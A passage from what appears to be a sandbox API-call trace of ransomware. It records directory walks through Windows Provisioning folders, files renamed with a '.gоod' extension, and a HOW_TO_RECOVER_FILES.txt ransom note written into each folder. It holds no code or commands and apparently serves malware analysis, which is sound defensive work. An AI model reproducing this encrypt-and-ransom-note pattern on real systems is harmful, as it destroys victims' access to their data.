cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0141.929] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0141.930] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5408696e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5408696e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x40fb7b2e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.gоod", cAlternateFileName="")) returned 1 [0141.930] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5408696e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5408696e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x40fb7b2e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.gоod", cAlternateFileName="")) returned 0 [0141.930] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0141.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0141.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0141.930] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x10f8de0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime", lpFilePart=0x0) returned 0x5d [0141.930] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\*", lpFindFileData=0x10f9060 | out: lpFindFileData=0x10f9060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x4185c37c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.931] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x4185c37c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.931] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54060701, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54060701, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x54060701, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xcdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 1 [0142.694] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4185c37c, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x4185c37c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4185c37c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0142.694] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0142.724] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0142.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0142.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0142.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0142.724] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x10f8de0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime", lpFilePart=0x0) returned 0x5d [0142.725] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\*", lpFindFileData=0x10f9060 | out: lpFindFileData=0x10f9060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x4185c37c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4185c37c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0142.727] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x4185c37c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4185c37c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.727] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54060701, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54060701, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x54060701, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xcdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 1 [0142.727] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4185c37c, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x4185c37c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4185c37c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0142.727] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4185c37c, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x4185c37c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4185c37c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0142.728] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0142.728] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0142.728] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0142.728] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f8d90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x76 [0142.728] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f92b0) returned 1 [0142.728] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0142.729] GetFileType (hFile=0x618) returned 0x1 [0142.729] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9220) returned 1 [0142.729] GetFileType (hFile=0x618) returned 0x1 [0142.729] WriteFile (in: hFile=0x618, lpBuffer=0x3cfe0d0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9378, lpOverlapped=0x0 | out: lpBuffer=0x3cfe0d0*, lpNumberOfBytesWritten=0x10f9378*=0x5d0, lpOverlapped=0x0) returned 1 [0142.730] CloseHandle (hObject=0x618) returned 1 [0142.730] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f97c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6e [0142.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0142.731] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0142.731] GetFileType (hFile=0x618) returned 0x1 [0142.731] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0142.731] GetFileType (hFile=0x618) returned 0x1 [0142.732] WriteFile (in: hFile=0x618, lpBuffer=0x3d019d8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9da8, lpOverlapped=0x0 | out: lpBuffer=0x3d019d8*, lpNumberOfBytesWritten=0x10f9da8*=0x5d0, lpOverlapped=0x0) returned 1 [0142.733] CloseHandle (hObject=0x618) returned 1 [0142.733] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x69 [0142.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0142.733] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0142.734] GetFileType (hFile=0x618) returned 0x1 [0142.734] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0142.734] GetFileType (hFile=0x618) returned 0x1 [0142.735] WriteFile (in: hFile=0x618, lpBuffer=0x3d052d0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x3d052d0*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0142.735] CloseHandle (hObject=0x618) returned 1 [0142.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0142.736] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", lpFilePart=0x0) returned 0x50 [0142.736] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x4304dead, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x43b307df, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0142.736] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x4304dead, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x43b307df, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.736] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x43001b07, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x660, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml.gоod", cAlternateFileName="")) returned 1 [0142.736] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43b307df, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x43b307df, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x43b307df, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0142.736] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x4304dead, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml.gоod", cAlternateFileName="")) returned 1 [0142.737] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x43b0a5f6, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x43b0a5f6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0142.737] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x43b0a5f6, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x43b0a5f6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0142.737] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0142.737] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0142.737] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0142.737] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0142.737] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", lpFilePart=0x0) returned 0x50 [0142.737] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x43b307df, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x43b307df, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0142.737] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x43b307df, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x43b307df, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.738] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x43001b07, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x660, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml.gоod", cAlternateFileName="")) returned 1 [0142.738] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43b307df, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x43b307df, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x43b307df, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0142.738] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x4304dead, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml.gоod", cAlternateFileName="")) returned 1 [0142.738] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x43b0a5f6, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x43b0a5f6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0142.738] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0142.738] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0142.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0142.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0142.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0142.739] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov", lpFilePart=0x0) returned 0x55 [0142.739] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x43b0a5f6, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x43b307df, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0142.739] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x43b0a5f6, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x43b307df, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.739] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43b307df, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x43b307df, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x43b307df, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0142.739] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0142.739] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53de90cb, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53de90cb, ftLastAccessTime.dwHighDateTime=0x1d29f93, 